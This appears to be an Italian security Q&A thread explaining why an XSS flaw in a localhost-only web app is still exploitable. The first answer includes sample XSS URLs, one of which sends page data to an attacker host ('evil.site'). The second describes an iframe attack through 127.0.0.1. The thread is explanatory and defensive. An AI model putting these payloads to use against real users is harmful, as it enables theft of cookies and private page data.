Rischio XSS per un'applicazione a cui è possibile accedere solo da localhost

5

Ho un'app Web che può essere utilizzata tramite un browser. L'app Web è accessibile solo su localhost. Non è possibile l'accesso remoto. Uno strumento di sicurezza ha scoperto un problema XSS. Ora se questa web app funziona solo localhost, allora come si può sfruttare questo problema XSS? La mia ipotesi è che solo un utente locale può sfruttare questo problema.

    
posta nachi 22.01.2013 - 11:22
fonte

3 risposte

8

Sì, è un problema.

L'intero punto di un XSS è di inviare un utente a un URL creato che sfrutta il bug nel browser dell'utente. Se un utente malintenzionato sa che esiste un XSS, potrebbe creare un URL XSS e inviarlo a un utente di destinazione e quell'utente sarebbe in grado di accedere al dominio localhost.

Ad esempio, supponiamo che ci sia una pagina chiamata /viewitem che accetta un parametro name , che è vulnerabile a XSS:

http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>

Ti manda questo link. Lo fai clic e all'improvviso sei accolto da una casella di avviso contenente i cookie per la pagina. In realtà, pubblicherebbe il valore del cookie su un sito di terzi e ha rubato i tuoi biscotti! In questo caso non può effettivamente accedere al sito, quindi è un punto controverso.

Tuttavia, a seconda della configurazione del sito, potrebbe essere in grado di estrarre anche i dati dalla pagina viewitem . Ad esempio:

http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>

Se hai un elemento con id version , l'URL sopra riportato estrae il suo contenuto e lo invia a una pagina di terze parti, informando così l'aggressore della versione del tuo software. Questo trucco potrebbe essere esteso per rubare altre informazioni private nella pagina o utilizzare Ajax per recuperare altro contenuto dal dominio localhost .

    
risposta data 22.01.2013 - 11:35
fonte
7

È un problema e qui c'è uno scenario di attacco:

  • Webapp vulnerabile Vuln_app risiede su Vuln_machine
  • Vuln_app è accessibile solo da localhost
  • Un utente che esplora il Web da Vuln_machine cerca nel sito Attack_site
  • Attack_site contiene una pagina web con un iframe che punta a Vuln_app su localhost: <iframe src="http://127.0.0.1/Vuln_app/<xss_issue>"/>
  • Attack_site ora può eseguire codice JavaScript nel contesto di Vuln_app
risposta data 22.01.2013 - 11:38
fonte
1

Sì. Se sei l'unica persona che userà questa applicazione, dovrai anche preoccuparti di XSS a causa di xss riflessivo. Ma se questa applicazione verrà utilizzata dai colleghi, questo sarà un problema serio. Soprattutto se fai parte di un'organizzazione e ci sono persone che possono accedere alla tua applicazione, allora possono sfruttare questa vulnerabilità per distruggere il tuo server e rovinare la tua applicazione web. Se la tua applicazione ospita a lungo termine, questo problema dovrebbe essere risolto.

    
risposta data 22.01.2013 - 12:11
fonte

Leggi altre domande sui tag